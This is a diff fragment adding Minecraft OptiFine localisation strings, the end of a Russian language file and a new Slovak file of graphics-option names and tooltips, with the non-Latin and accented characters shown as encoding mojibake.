+of.options.TIME.tooltip.1=Ð’Ñ€ÐµÐ¼Ñ Ñуток +of.options.TIME.tooltip.2= §oПо умолчанию§r - нормальный цикл Ð´Ð½Ñ Ð¸ ночи +of.options.TIME.tooltip.3= Ð’Ñегда день - только дневное Ð²Ñ€ÐµÐ¼Ñ +of.options.TIME.tooltip.4= Ð’Ñегда ночь - только ночное Ð²Ñ€ÐµÐ¼Ñ +of.options.TIME.tooltip.5=ДейÑтвует только в ТВОРЧЕСКОМ режиме игры и только +of.options.TIME.tooltip.6=в локальных мирах. + +of.options.time.dayOnly=Ð’Ñегда день +of.options.time.nightOnly=Ð’Ñегда ночь + +options.fullscreen.tooltip.1=ПолноÑкранный режим +options.fullscreen.tooltip.2= Вкл - иÑпользовать полноÑкранный режим +options.fullscreen.tooltip.3= Выкл - иÑпользовать оконный режим +options.fullscreen.tooltip.4=ПолноÑкранный режим может быть как производительнее +options.fullscreen.tooltip.5=оконного, так и нет — вÑÑ‘ завиÑит от видеокарты. + +options.fullscreen.resolution=ПолноÑкранное разрешение +options.fullscreen.resolution.tooltip.1=Разрешение Ñкрана в полноÑкранном режиме +options.fullscreen.resolution.tooltip.2= §oТекущее§r - разрешение монитора (медленнее) +options.fullscreen.resolution.tooltip.3= ШxÐ’ - выбранное разрешение (возможно быÑтрее) +options.fullscreen.resolution.tooltip.4=Выбранное разрешение иÑпользуетÑÑ Ð² полноÑкранном +options.fullscreen.resolution.tooltip.5=режиме (F11). Чем меньше значение, тем быÑтрее. + +options.anaglyph.tooltip.1=Ðнаглиф +options.anaglyph.tooltip.2=Стереоизображение, иÑпользующее различные цвета +options.anaglyph.tooltip.3=Ð´Ð»Ñ ÐºÐ°Ð¶Ð´Ð¾Ð³Ð¾ глаза. +options.anaglyph.tooltip.4=Ð”Ð»Ñ Ð¿Ñ€Ð¾Ñмотра потребуютÑÑ Ð°Ð½Ð°Ð³Ð»Ð¸Ñ„Ð¸Ñ‡ÐµÑкие очки. + +of.options.AUTOSAVE_TICKS=ÐвтоÑохранение +of.options.AUTOSAVE_TICKS.tooltip.1=Интервал автоÑохранений +of.options.AUTOSAVE_TICKS.tooltip.2= §o45 Ñекунд§r - значение по умолчанию +of.options.AUTOSAVE_TICKS.tooltip.3=Может Ñоздавать кратковременные завиÑаниÑ. +of.options.AUTOSAVE_TICKS.tooltip.4=Мир также ÑохранÑетÑÑ Ð¿Ñ€Ð¸ открытии меню. + +of.options.save.45s=45 Ñекунд +of.options.save.90s=90 Ñекунд +of.options.save.3min=3 минуты +of.options.save.6min=6 минут +of.options.save.12min=12 минут +of.options.save.24min=24 минуты + +of.options.SCREENSHOT_SIZE=Скриншот +of.options.SCREENSHOT_SIZE.tooltip.1=Разрешение Ñкриншота +of.options.SCREENSHOT_SIZE.tooltip.2= §oПо умолчанию§r - Ñтандартное разрешение Ñкриншота +of.options.SCREENSHOT_SIZE.tooltip.3= 2x–4x - множитель Ñ€Ð°Ð·Ñ€ÐµÑˆÐµÐ½Ð¸Ñ Ñкриншота +of.options.SCREENSHOT_SIZE.tooltip.4=Чем больше значение, тем больше потребуетÑÑ Ð¿Ð°Ð¼Ñти. +of.options.SCREENSHOT_SIZE.tooltip.5=Ðеобходима поддержка кадрового буфера ГП. +of.options.SCREENSHOT_SIZE.tooltip.6=Ðе ÑовмеÑтимо Ñ Ð±Ñ‹Ñтрым рендером и антиалиаÑингом. + +of.options.SHOW_GL_ERRORS=Показывать ошибки GL +of.options.SHOW_GL_ERRORS.tooltip.1=Отображение ошибок OpenGL +of.options.SHOW_GL_ERRORS.tooltip.2=ОтправлÑет информацию об ошибках OpenGL в чат. +of.options.SHOW_GL_ERRORS.tooltip.3=Отключите, только еÑли ошибка извеÑтна и её Ð½ÐµÐ»ÑŒÐ·Ñ +of.options.SHOW_GL_ERRORS.tooltip.4=иÑправить. +of.options.SHOW_GL_ERRORS.tooltip.5=Ð’ отключённом ÑоÑтоÑнии ошибки по-прежнему будут +of.options.SHOW_GL_ERRORS.tooltip.6=запиÑыватьÑÑ Ð² журнал и могут значительно понижать FPS. + +# ÐаÑтройки чата + +of.options.CHAT_BACKGROUND=Фон чата +of.options.CHAT_BACKGROUND.tooltip.1=Фон чата +of.options.CHAT_BACKGROUND.tooltip.2= §oПо умолчанию§r - фикÑÐ¸Ñ€Ð¾Ð²Ð°Ð½Ð½Ð°Ñ ÑˆÐ¸Ñ€Ð¸Ð½Ð° чата +of.options.CHAT_BACKGROUND.tooltip.3= Компактный - ширина чата равна длине Ñтроки +of.options.CHAT_BACKGROUND.tooltip.4= Выкл - фон Ñкрыт + +of.options.CHAT_SHADOW=Тень текÑта чата +of.options.CHAT_SHADOW.tooltip.1=Тень текÑта чата +of.options.CHAT_SHADOW.tooltip.2= §oВкл§r - тень видна +of.options.CHAT_SHADOW.tooltip.3= Выкл - тень Ñкрыта diff --git a/src/assets/minecraft/optifine/lang/sk_sk.lang b/src/assets/minecraft/optifine/lang/sk_sk.lang new file mode 100644 index 00000000..cbfad057 --- /dev/null +++ b/src/assets/minecraft/optifine/lang/sk_sk.lang @@ -0,0 +1,745 @@ +# General +of.general.ambiguous=neurÄité +of.general.compact=Kompaktné +of.general.custom=Vlastné +of.general.from=Od +of.general.id=ID +of.general.max=Maximálne +of.general.restart=reÅ¡tart +of.general.smart=Chytré + +# Keys +of.key.zoom=Zoom + +# Message +of.message.aa.shaders1=Antialiasing nie je kompatibilný s tieňovaÄmi (Shaders). +of.message.aa.shaders2=Vypni tieňovaÄe pre odomknutie tejto možnosti. + +of.message.af.shaders1=Anizotropné filtrovanie nie je kompatibilné s tieňovaÄmi (Shaders). +of.message.af.shaders2=Vypni tieňovaÄe pre odomknutie tejto možnosti. + +of.message.fr.shaders1=Rýchle vykresľovanie nie je kompatibilné s tieňovaÄmi (Shaders). +of.message.fr.shaders2=Vypni tieňovaÄe pre odomknutie tejto možnosti. + +of.message.an.shaders1=3D Anaglyf režim nie je kompatibilný s tieňovaÄmi (Shaders). +of.message.an.shaders2=Vypni tieňovaÄe pre odomknutie tejto možnosti. + +of.message.shaders.aa1=TieňovaÄe nie sú kompatibilné s antialiasingom. +of.message.shaders.aa2=Nastav Kvalita -> Antialiasing na VYP a reÅ¡tartuj hru. + +of.message.shaders.af1=TieňovaÄe nie sú kompatibilné s anizotropným filtrovaním. +of.message.shaders.af2=Nastav Kvalita -> Anizotropné filtrovanie na VYP a reÅ¡tartuj hru. + +of.message.shaders.fr1=TieňovaÄe nie sú kompatibilné s rýchlym vykresľovaním. +of.message.shaders.fr2=Nastav Výkon -> Rýchle vykresľovanie na VYP a reÅ¡tartuj hru. + +of.message.shaders.an1=TieňovaÄe nie sú kompatibilné s 3D anaglyf režimom. +of.message.shaders.an2=Nastav Iné -> 3D Anaglyf režim na VYP a reÅ¡tartuj hru. + +of.message.shaders.nv1=Tento balík tieňovaÄov vyžaduje novÅ¡iu verziu OptiFine: %s +of.message.shaders.nv2=Si si istý že chceÅ¡ pokraÄovaÅ¥? + +of.message.newVersion=Je dostupná nová verzia §eOptiFine§f: §e%s§f +of.message.java64Bit=MôžeÅ¡ nainÅ¡talovaÅ¥ §e64-bit Java§f pre zlepÅ¡enie výkonu. +of.message.openglError=§eChyba OpenGL§f: %s (%s) + +of.message.shaders.loading=NaÄítavajú sa tieňovaÄe: %s + +of.message.other.reset=ObnoviÅ¥ vÅ¡etky nastavenia obrazu na pôvodné hodnoty? + +of.message.loadingVisibleChunks=NaÄítavajú sa viditeľné chunky + +# Skin customization + +of.options.skinCustomisation.ofCape=OptiFine plášť... + +of.options.capeOF.title=OptiFine plášť +of.options.capeOF.openEditor=OtvoriÅ¥ editor plášťa +of.options.capeOF.reloadCape=Znova naÄítaÅ¥ plášť + +of.message.capeOF.openEditor=Editor OptiFine plášťa sa otvorí vo webovom prehliadaÄi. +of.message.capeOF.reloadCape=Plášť bude naÄítaný do 15 sekúnd. + +of.message.capeOF.error1=Overenie Mojang zlyhalo. +of.message.capeOF.error2=Chyba: %s + +# Video settings + +options.graphics.tooltip.1=Kvalita obrazu +options.graphics.tooltip.2= Rýchla - nižšia kvalia, rýchlejÅ¡ia +options.graphics.tooltip.3= Pekná - vyÅ¡Å¡ia kvalita, pomalÅ¡ia +options.graphics.tooltip.4=Mení vzhľad oblakov, listov, vody, +options.graphics.tooltip.5=tieňov a trávy. + +of.options.renderDistance.tiny=Drobná +of.options.renderDistance.short=Krátka +of.options.renderDistance.normal=Normálna +of.options.renderDistance.far=ÄŽaleká +of.options.renderDistance.extreme=Extrémna +of.options.renderDistance.insane=Å ialená +of.options.renderDistance.ludicrous=Absurdná + +options.renderDistance.tooltip.1=DohľadnosÅ¥ (vzdialenosÅ¥ vykresľovania) +options.renderDistance.tooltip.2= 2 Drobná - 32m (najrýchlejÅ¡ia) +options.renderDistance.tooltip.3= 8 Normálna - 128m (normálna) +options.renderDistance.tooltip.4= 16 ÄŽaleká - 256m (pomalÅ¡ia) +options.renderDistance.tooltip.5= 32 Extrémna - 512m (najpomalÅ¡ia!) veľmi nároÄná na výkon +options.renderDistance.tooltip.6= 48 Å ialená - 768m, potrebuje 2GB alokovanej RAM +options.renderDistance.tooltip.7= 64 Absurdná - 1024m, potrebuje 3GB alokovanej RAM +options.renderDistance.tooltip.8=Hodnoty nad 16 sú funkÄné len pre lokálne svety. + +options.ao.tooltip.1=Vyhladené osvetlenie +options.ao.tooltip.2= VYP - žiadne vyhladené osvetlenie (rýchlejÅ¡ie) +options.ao.tooltip.3= Minimálne - jednoduché vyhladené osvetlenie (pomalÅ¡ie) +options.ao.tooltip.4= Maximálne - complex vyhladené osvetlenie (najpomalÅ¡ie) + +options.framerateLimit.tooltip.1=NajvyÅ¡Å¡ia rýchlosÅ¥ snímok (FPS) +options.framerateLimit.tooltip.2= VSync - obmedzená na frekvenciu monitora (60, 30, 20) +options.framerateLimit.tooltip.3= 5-255 - variabilná +options.framerateLimit.tooltip.4= Neobmedzená - žiadny limit (najrýchlejÅ¡ia) +options.framerateLimit.tooltip.5=Limit rýchlosti snímok znižuje FPS aj keÄ +options.framerateLimit.tooltip.6=hraniÄná hodnota nie je dosiahnutá. +of.options.framerateLimit.vsync=VSync + +of.options.AO_LEVEL=Vyhladené osvetlenie +of.options.AO_LEVEL.tooltip.1=Úroveň vyhladeného osvetlenia +of.options.AO_LEVEL.tooltip.2= VYP - žiadne tiene +of.options.AO_LEVEL.tooltip.3= 50%% - svetlé tiene +of.options.AO_LEVEL.tooltip.4= 100%% - tmavé tiene + +options.viewBobbing.tooltip.1=Realistickejší pohyb. +options.viewBobbing.tooltip.2=Pre najlepÅ¡ie výsledky pri použití MIP máp nastav na VYP. + +options.guiScale.tooltip.1=VeľkosÅ¥ grafického rozhrania (GUI) +options.guiScale.tooltip.2= Auto - najväÄÅ¡ie +options.guiScale.tooltip.3= Malé, Normálne, Veľké - 1x až 3x +options.guiScale.tooltip.4= 4x až 10x - dostupné pre 4K obrazovky +options.guiScale.tooltip.5=Nepárne hodnoty (1x, 3x, 5x ...) nie sú kompatibilné s Unicode. +options.guiScale.tooltip.6=MenÅ¡ie GUI môže byÅ¥ rýchlejÅ¡ie. + +options.vbo=PoužívaÅ¥ VBO +options.vbo.tooltip.1=Objekty medzipamňte vrcholov (VBO) +options.vbo.tooltip.2=Používa alternatívnu metódu vykresľovania, ktorá je bežne +options.vbo.tooltip.3=rýchlejÅ¡ia (5-10%%) než Å¡tandardné vykresľovanie. + +options.gamma.tooltip.1=Mení jas tmavých objektov. +options.gamma.tooltip.2= Prítmie - Å¡tandardný jas +options.gamma.tooltip.3= 1-99%% - variabilný +options.gamma.tooltip.4= Jasný - najvyšší jas pre tmavé objekty +options.gamma.tooltip.5=Toto nastavenie nemení jas +options.gamma.tooltip.6=úplne Äiernych objektov. + +options.anaglyph.tooltip.1=3D Anaglyf režim +options.anaglyph.tooltip.2=Zapne stereoskopický 3D efekt pomocou rôznych farieb +options.anaglyph.tooltip.3=pre každé oko. +options.anaglyph.tooltip.4=Vyžaduje Äerveno-tyrkysové 3D okuliare. + +of.options.ALTERNATE_BLOCKS=RozliÄné kocky +of.options.ALTERNATE_BLOCKS.tooltip.1=RozliÄné kocky +of.options.ALTERNATE_BLOCKS.tooltip.2=Používa rozliÄné modely kociek pre niektoré kocky. +of.options.ALTERNATE_BLOCKS.tooltip.3=Závisí od zvoleného zdrojového balíka. + +of.options.FOG_FANCY=Hmla +of.options.FOG_FANCY.tooltip.1=Typ hmly +of.options.FOG_FANCY.tooltip.2= Rýchla - rýchlejÅ¡ia hmla +of.options.FOG_FANCY.tooltip.3= Pekná - pomalÅ¡ia hmla, vyzerá lepÅ¡ie +of.options.FOG_FANCY.tooltip.4= VYP - žiadna hmla, najrýchlejÅ¡ie +of.options.FOG_FANCY.tooltip.5=Pekná hmla je dostupná len ak je podporovaná +of.options.FOG_FANCY.tooltip.6=grafickou kartou. + +of.options.FOG_START=Hranica hmly +of.options.FOG_START.tooltip.1=Hranica hmly +of.options.FOG_START.tooltip.2= 0.2 - hmla zaÄína bližšie k hráÄovi +of.options.FOG_START.tooltip.3= 0.8 - hmla zaÄína Äalej od hráÄa +of.options.FOG_START.tooltip.4=Toto nastavenie bežne nemá vplyv na výkon. + +of.options.CHUNK_LOADING=NaÄítavanie chunkov +of.options.CHUNK_LOADING.tooltip.1=NaÄítavanie chunkov +of.options.CHUNK_LOADING.tooltip.2= Å tandardné - nestále FPS pri naÄítavaní chunkov +of.options.CHUNK_LOADING.tooltip.3= Vyhladené - stabilné FPS +of.options.CHUNK_LOADING.tooltip.4= Viacjadrové - stabilné FPS, 3x rýchlejÅ¡ie naÄítavanie sveta +of.options.CHUNK_LOADING.tooltip.5=Vyhladené a Viacjadrové odstraňujú trhavosÅ¥ +of.options.CHUNK_LOADING.tooltip.6=a zamÅ•zanie spôsobené naÄitavaním chunkov. +of.options.CHUNK_LOADING.tooltip.7=Viacjadrové môže naÄítavanie sveta urýchliÅ¥ až 3x +of.options.CHUNK_LOADING.tooltip.8=a zvýšiÅ¥ FPS využitím Äalších jadier procesora. +of.options.chunkLoading.smooth=Vyhladené +of.options.chunkLoading.multiCore=Viacjadrové + +of.options.shaders=TieňovaÄe... +of.options.shadersTitle=TieňovaÄe (Shaders) + +of.options.shaders.packNone=VYP +of.options.shaders.packDefault=(interný) + +of.options.shaders.ANTIALIASING=Antialiasing +of.options.shaders.ANTIALIASING.tooltip.1=Antialiasing +of.options.shaders.ANTIALIASING.tooltip.2= VYP - (Å¡tandard) žiadne vyhladzovanie (rýchlejÅ¡ie) +of.options.shaders.ANTIALIASING.tooltip.3= FXAA 2x, 4x - vyhladené línie a hrany (pomalÅ¡ie) +of.options.shaders.ANTIALIASING.tooltip.4=FXAA je efekt následného spracovania, ktorý vyhladzuje +of.options.shaders.ANTIALIASING.tooltip.5=zúbkované línie a ostré prechody farieb. +of.options.shaders.ANTIALIASING.tooltip.6=Je rýchlejší než tradiÄné vyhladzovanie +of.options.shaders.ANTIALIASING.tooltip.7=a je kompatibilné s tieňovaÄmi a Rýchlym vykresľovaním. + +of.options.shaders.NORMAL_MAP=Normálna mapa +of.options.shaders.NORMAL_MAP.tooltip.1=Normálna mapa +of.options.shaders.NORMAL_MAP.tooltip.2= ZAP - (Å¡tandard) zapnúť normálnu mapu +of.options.shaders.NORMAL_MAP.tooltip.3= VYP - vypnúť normálnu mapu +of.options.shaders.NORMAL_MAP.tooltip.4=Normálnu mapu môže použiÅ¥ balík tieňovaÄov +of.options.shaders.NORMAL_MAP.tooltip.5=na simuláciu 3D geometrie na hladkých plochách. +of.options.shaders.NORMAL_MAP.tooltip.6=Textúry normálnej mapy závisia od +of.options.shaders.NORMAL_MAP.tooltip.7=zvoleného zdrojového balíka. + +of.options.shaders.SPECULAR_MAP=Zrkadlová mapa +of.options.shaders.SPECULAR_MAP.tooltip.1=Zrkadlová mapa +of.options.shaders.SPECULAR_MAP.tooltip.2= ZAP - (Å¡tandard) zapnúť zrkadlovú mapu +of.options.shaders.SPECULAR_MAP.tooltip.3= VYP - vypnúť zrkadlovú mapu +of.options.shaders.SPECULAR_MAP.tooltip.4=Zrkadlovú mapu môže použiÅ¥ balík tieňovaÄov +of.options.shaders.SPECULAR_MAP.tooltip.5=na simuláciu Å¡peciálnych efekov odrazu. +of.options.shaders.SPECULAR_MAP.tooltip.6=Textúry zrkadlovej mapy závisia od +of.options.shaders.SPECULAR_MAP.tooltip.7=zvoleného zdrojového balíka. + +of.options.shaders.RENDER_RES_MUL=Kvalita vykresľovania +of.options.shaders.RENDER_RES_MUL.tooltip.1=Kvalita vykresľovania +of.options.shaders.RENDER_RES_MUL.tooltip.2= 0.5x - nízka (najrýchlejÅ¡ia) +of.options.shaders.RENDER_RES_MUL.tooltip.3= 1x - normálna (Å¡tandard) +of.options.shaders.RENDER_RES_MUL.tooltip.4= 2x - vysoká (najpomalÅ¡ia) +of.options.shaders.RENDER_RES_MUL.tooltip.5=Kvalita vykresľovania reguluje veľkosÅ¥ textúr +of.options.shaders.RENDER_RES_MUL.tooltip.6=na ktoré vykresľuje balík tieňovaÄov. +of.options.shaders.RENDER_RES_MUL.tooltip.7=Nižšie hodnoty môžu byÅ¥ vhodné pre 4K obrazovky. +of.options.shaders.RENDER_RES_MUL.tooltip.8=VyÅ¡Å¡ie hodnoty fungujú ako vyhladzovací filter. + +of.options.shaders.SHADOW_RES_MUL=Kvalita tieňov +of.options.shaders.SHADOW_RES_MUL.tooltip.1=Kvalita tieňov +of.options.shaders.SHADOW_RES_MUL.tooltip.2= 0.5x - nízka (najrýchlejÅ¡ia) +of.options.shaders.SHADOW_RES_MUL.tooltip.3= 1x - normálna (Å¡tandardná) +of.options.shaders.SHADOW_RES_MUL.tooltip.4= 2x - vysoká (najpomalÅ¡ia) +of.options.shaders.SHADOW_RES_MUL.tooltip.5=Kvalita tieňov reguluje veľkosÅ¥ textúry tieňovej mapy +of.options.shaders.SHADOW_RES_MUL.tooltip.6=ktorú používa balík tieňovaÄov. +of.options.shaders.SHADOW_RES_MUL.tooltip.7=Nižšie hodnoty = nepresné, hrubÅ¡ie tiene. +of.options.shaders.SHADOW_RES_MUL.tooltip.8=VyÅ¡Å¡ie hodnoty = detailné, jemnejÅ¡ie tiene. + +of.options.shaders.HAND_DEPTH_MUL=Hĺbka ruky +of.options.shaders.HAND_DEPTH_MUL.tooltip.1=Hĺbka ruky +of.options.shaders.HAND_DEPTH_MUL.tooltip.2= 0.5x - ruka bližšie ku kamere +of.options.shaders.HAND_DEPTH_MUL.tooltip.3= 1x - (Å¡tandard) +of.options.shaders.HAND_DEPTH_MUL.tooltip.4= 2x - ruka Äalej od kamery +of.options.shaders.HAND_DEPTH_MUL.tooltip.5=Hĺbka ruky reguluje vzdialenosÅ¥ predmetov +of.options.shaders.HAND_DEPTH_MUL.tooltip.6=v ruke od kamery. +of.options.shaders.HAND_DEPTH_MUL.tooltip.7=Pre balíky tieňovaÄov používajúce rozmazanie podľa +of.options.shaders.HAND_DEPTH_MUL.tooltip.8=hĺbky toto nastavenie mení hĺbku rozmazania. + +of.options.shaders.CLOUD_SHADOW=Tiene oblakov + +of.options.shaders.OLD_HAND_LIGHT=Staré svetlo ruky +of.options.shaders.OLD_HAND_LIGHT.tooltip.1=Staré svetlo ruky +of.options.shaders.OLD_HAND_LIGHT.tooltip.2= Å tandard - regulované balíkom tieňovaÄov +of.options.shaders.OLD_HAND_LIGHT.tooltip.3= ZAP - použiÅ¥ staré svetlo ruky +of.options.shaders.OLD_HAND_LIGHT.tooltip.4= VYP - použiÅ¥ nové svetlo ruky +of.options.shaders.OLD_HAND_LIGHT.tooltip.5=Staré svetlo ruky umožňuje balíku tieňovaÄov, ktoré +of.options.shaders.OLD_HAND_LIGHT.tooltip.6=rozoznávajú len svetlo z hlavnej ruky, +of.options.shaders.OLD_HAND_LIGHT.tooltip.7=aby použili svetlo aj z druhej ruky. + +of.options.shaders.OLD_LIGHTING=Staré osvetlenie +of.options.shaders.OLD_LIGHTING.tooltip.1=Staré osvetlenie +of.options.shaders.OLD_LIGHTING.tooltip.2= Å tandard - regulované balíkom tieňovaÄov +of.options.shaders.OLD_LIGHTING.tooltip.3= ZAP - použiÅ¥ staré osvetlenie +of.options.shaders.OLD_LIGHTING.tooltip.4= VYP - nepoužiÅ¥ staré osvetlenie +of.options.shaders.OLD_LIGHTING.tooltip.5=Staré osvetlenie reguluje pevné osvetlenie +of.options.shaders.OLD_LIGHTING.tooltip.6=strán blokov podľa na vanilla spôsob. +of.options.shaders.OLD_LIGHTING.tooltip.7=Balíky tieňovaÄov, ktoré používajú tiene zväÄÅ¡a poskytujú +of.options.shaders.OLD_LIGHTING.tooltip.8=oveľa lepÅ¡ie osvetlenie na základe polohy slnka. + +of.options.shaders.DOWNLOAD=StiahnuÅ¥ tieňovaÄe +of.options.shaders.DOWNLOAD.tooltip.1=StiahnuÅ¥ tieňovaÄe +of.options.shaders.DOWNLOAD.tooltip.2= +of.options.shaders.DOWNLOAD.tooltip.3=Otvorí stránku s balíkmi tieňovaÄov v prehliadaÄi. +of.options.shaders.DOWNLOAD.tooltip.4=Stiahnuté balíky ulož do "PrieÄinka tieňovaÄov" +of.options.shaders.DOWNLOAD.tooltip.5=a ony sa zobrazia v zozname nainÅ¡talovaných tieňovaÄov. + +of.options.shaders.SHADER_PACK=Balík tieňovaÄov + +of.options.shaders.shadersFolder=PrieÄinok tieňovaÄov +of.options.shaders.shaderOptions=Možnosti tieňovaÄa... + +of.options.shaderOptionsTitle=Možnosti tieňovaÄa + +of.options.quality=Kvalita... +of.options.qualityTitle=Nastavenia kvality + +of.options.details=Detaily... +of.options.detailsTitle=Nastavenia detailov + +of.options.performance=Výkon... +of.options.performanceTitle=Nastavenia výkonu + +of.options.animations=Animácie... +of.options.animationsTitle=Nastavenia animácií + +of.options.other=Iné... +of.options.otherTitle=Iné nastavenia + +of.options.other.reset=ObnoviÅ¥ nastavenia obrazu... + +of.shaders.profile=Profil + +# Quality + +of.options.mipmap.bilinear=Bilineárna +of.options.mipmap.linear=Lineárna +of.options.mipmap.nearest=Najbližšia +of.options.mipmap.trilinear=Trilineárna + +options.mipmapLevels.tooltip.1=Efekt, ktorý zlepÅ¡uje vzhľad vzdialených objektov +options.mipmapLevels.tooltip.2=vyhladzovaním detailov ich textúr. +options.mipmapLevels.tooltip.3= VYP - žiadne vyhladzovanie +options.mipmapLevels.tooltip.4= 1 - minimálne vyhladzovanie +options.mipmapLevels.tooltip.5= 4 - maximálne vyhladzovanie +options.mipmapLevels.tooltip.6=Toto nastavenie bežne nemá vplyv na výkon. + +of.options.MIPMAP_TYPE=Typ MIP mapy +of.options.MIPMAP_TYPE.tooltip.1=Efekt, ktorý zlepÅ¡uje vzhľad vzdialených objektov +of.options.MIPMAP_TYPE.tooltip.2=vyhladzovaním detailov ich textúr. +of.options.MIPMAP_TYPE.tooltip.3= Najbližšia - hrubé vyhladzovanie (najrýchlejÅ¡ie) +of.options.MIPMAP_TYPE.tooltip.4= Lineárna - normálne vyhladzovanie +of.options.MIPMAP_TYPE.tooltip.5= Bilineárna - jemné vyhladzovanie +of.options.MIPMAP_TYPE.tooltip.6= Trilineárna - najjemnejÅ¡ie vyhladzovanie (najpomalÅ¡ie) + + +of.options.AA_LEVEL=Antialiasing +of.options.AA_LEVEL.tooltip.1=Antialiasing (vyhladzovanie okrajov) +of.options.AA_LEVEL.tooltip.2= VYP - (Å¡tandard) žiadne vyhladzovanie okrajov (rýchlejÅ¡ie) +of.options.AA_LEVEL.tooltip.3= 2-16 - vyhladené línie a hrany (pomalÅ¡ie) +of.options.AA_LEVEL.tooltip.4=Antialiasing vyhladzuje zúbkované okraje +of.options.AA_LEVEL.tooltip.5=a ostré prechody farieb. +of.options.AA_LEVEL.tooltip.6=Zapnutý môže podstatne znížiÅ¥ FPS. +of.options.AA_LEVEL.tooltip.7=Nie vÅ¡etky úrovne sú podporované každou grafickou kartou. +of.options.AA_LEVEL.tooltip.8=Nastavenie sa prejaví PO REÅ TARTE! + +of.options.AF_LEVEL=Anizotropné filtrovanie +of.options.AF_LEVEL.tooltip.1=Anizotropné filtrovanie +of.options.AF_LEVEL.tooltip.2= VYP - (Å¡tandard) Å¡tandardna detailnosÅ¥ textúr (rýchlejÅ¡ie) +of.options.AF_LEVEL.tooltip.3= 2-16 - jemnejÅ¡ie detaily textúr s MIP mapou (pomalÅ¡ie) +of.options.AF_LEVEL.tooltip.4=Anizotropné filtrovanie dodáva detailnosÅ¥ +of.options.AF_LEVEL.tooltip.5=textúram s MIP mapou. +of.options.AF_LEVEL.tooltip.6=Zapnuté môže podstatne znížiÅ¥ FPS. + +of.options.CLEAR_WATER=PriezraÄná voda +of.options.CLEAR_WATER.tooltip.1=PriezraÄná voda +of.options.CLEAR_WATER.tooltip.2= ZAP - jasná, priezraÄná voda +of.options.CLEAR_WATER.tooltip.3= VYP - Å¡tandardná voda + +of.options.RANDOM_ENTITIES=Náhodné entity +of.options.RANDOM_ENTITIES.tooltip.1=Náhodné entity +of.options.RANDOM_ENTITIES.tooltip.2= VYP - žiadne náhodné entity, rýchlejÅ¡ie +of.options.RANDOM_ENTITIES.tooltip.3= ZAP - náhodné entity, pomalÅ¡ie +of.options.RANDOM_ENTITIES.tooltip.4=Náhodné entity používajú náhodné textúry pre entity v hre. +of.options.RANDOM_ENTITIES.tooltip.5=Vyžadujú zdrojový balík s viacerými textúrami pre jednotlivé entity. + +of.options.BETTER_GRASS=LepÅ¡ia tráva +of.options.BETTER_GRASS.tooltip.1=LepÅ¡ia tráva +of.options.BETTER_GRASS.tooltip.2= VYP - Å¡tandardná textúra strán trávy, najrýchlejÅ¡ia +of.options.BETTER_GRASS.tooltip.3= Rýchla - plná textúra strán trávy, pomalÅ¡ia +of.options.BETTER_GRASS.tooltip.4= Pekná - dynamická textúra strán trávy, najpomalÅ¡ia + +of.options.BETTER_SNOW=Lepší sneh +of.options.BETTER_SNOW.tooltip.1=Lepší sneh +of.options.BETTER_SNOW.tooltip.2= VYP - Å¡tandardný sneh, rýchlejší +of.options.BETTER_SNOW.tooltip.3= ZAP - lepší sneh, pomalší +of.options.BETTER_SNOW.tooltip.4=Zobrazuje sneh pod presvitnými blokmi (ploty, vysoká tráva), +of.options.BETTER_SNOW.tooltip.5=ktoré susedia so snehom. + +of.options.CUSTOM_FONTS=Vlastné fonty +of.options.CUSTOM_FONTS.tooltip.1=Vlastné fonty +of.options.CUSTOM_FONTS.tooltip.2= ZAP - (Å¡tandard) používa vlastné fonty, pomalÅ¡ie +of.options.CUSTOM_FONTS.tooltip.3= VYP - používa Å¡tandardný font, rýchlejÅ¡ie +of.options.CUSTOM_FONTS.tooltip.4=Vlastné fonty závisia od zvoleného +of.options.CUSTOM_FONTS.tooltip.5=zdrojového balíka. + +of.options.CUSTOM_COLORS=Vlastné farby +of.options.CUSTOM_COLORS.tooltip.1=Vlastné farby +of.options.CUSTOM_COLORS.tooltip.2= ZAP - (Å¡tandard) používa vlastné farby, pomalÅ¡ie +of.options.CUSTOM_COLORS.tooltip.3= VYP - používa Å¡tandardné farby, rýchlejÅ¡ie +of.options.CUSTOM_COLORS.tooltip.4=Vlastné farby závisia od zvoleného +of.options.CUSTOM_COLORS.tooltip.5=zdrojového balíka. + +of.options.SWAMP_COLORS=Farby moÄiara +of.options.SWAMP_COLORS.tooltip.1=Farby moÄiara +of.options.SWAMP_COLORS.tooltip.2= ZAP - (Å¡tandard) používa farby moÄiara, pomalÅ¡ie +of.options.SWAMP_COLORS.tooltip.3= VYP - nepoužíva farby moÄiara, rýchlejÅ¡ie +of.options.SWAMP_COLORS.tooltip.4=Farby moÄiara ovplyvňujú trávu, listy, liany a vodu. + +of.options.SMOOTH_BIOMES=Vyhladené biómy +of.options.SMOOTH_BIOMES.tooltip.1=Vyhladené biómy +of.options.SMOOTH_BIOMES.tooltip.2= ZAP - (Å¡tandard) vyhladzovanie hraníc biómov, pomalÅ¡ie +of.options.SMOOTH_BIOMES.tooltip.3= VYP - žiadne vyhladzovanie hraníc biómov, rýchlejÅ¡ie +of.options.SMOOTH_BIOMES.tooltip.4=Vyhladzovanie hraníc biómov je založené na vzorkovaní +of.options.SMOOTH_BIOMES.tooltip.5=a priemerovaní farby vÅ¡etkých okolitých blokov. +of.options.SMOOTH_BIOMES.tooltip.6=Ovplyvňuje trávu, listy, liany a vodu. + +of.options.CONNECTED_TEXTURES=Prepojené textúry +of.options.CONNECTED_TEXTURES.tooltip.1=Prepojené textúry +of.options.CONNECTED_TEXTURES.tooltip.2= VYP - (Å¡tandard) žiadne prepojené textúry +of.options.CONNECTED_TEXTURES.tooltip.3= Rýchle - rýchle prepojené textúry +of.options.CONNECTED_TEXTURES.tooltip.4= Pekné - pekné prepojené textúry +of.options.CONNECTED_TEXTURES.tooltip.5=Prepojené textúry spájajú textúry skla, +of.options.CONNECTED_TEXTURES.tooltip.6=pieskovca a knižníc, položených vedľa seba. +of.options.CONNECTED_TEXTURES.tooltip.7=Prepojené textúry závisia od +of.options.CONNECTED_TEXTURES.tooltip.8=zvoleného zdrojového balíka. + +of.options.NATURAL_TEXTURES=Prirodzené textúry +of.options.NATURAL_TEXTURES.tooltip.1=Prirodzené textúry +of.options.NATURAL_TEXTURES.tooltip.2= VYP - (Å¡tandard) žiadne prirodzené textúry +of.options.NATURAL_TEXTURES.tooltip.3= ZAP - použiÅ¥ prirodzené textúry +of.options.NATURAL_TEXTURES.tooltip.4=Prirozdené textúry odstraňujú mriežkovitý vzor +of.options.NATURAL_TEXTURES.tooltip.5=vytvorený opakovaním kociek rovnakého typu. +of.options.NATURAL_TEXTURES.tooltip.6=Sú zaloÅ¡ené na otoÄených a preklopených variantoch základnej 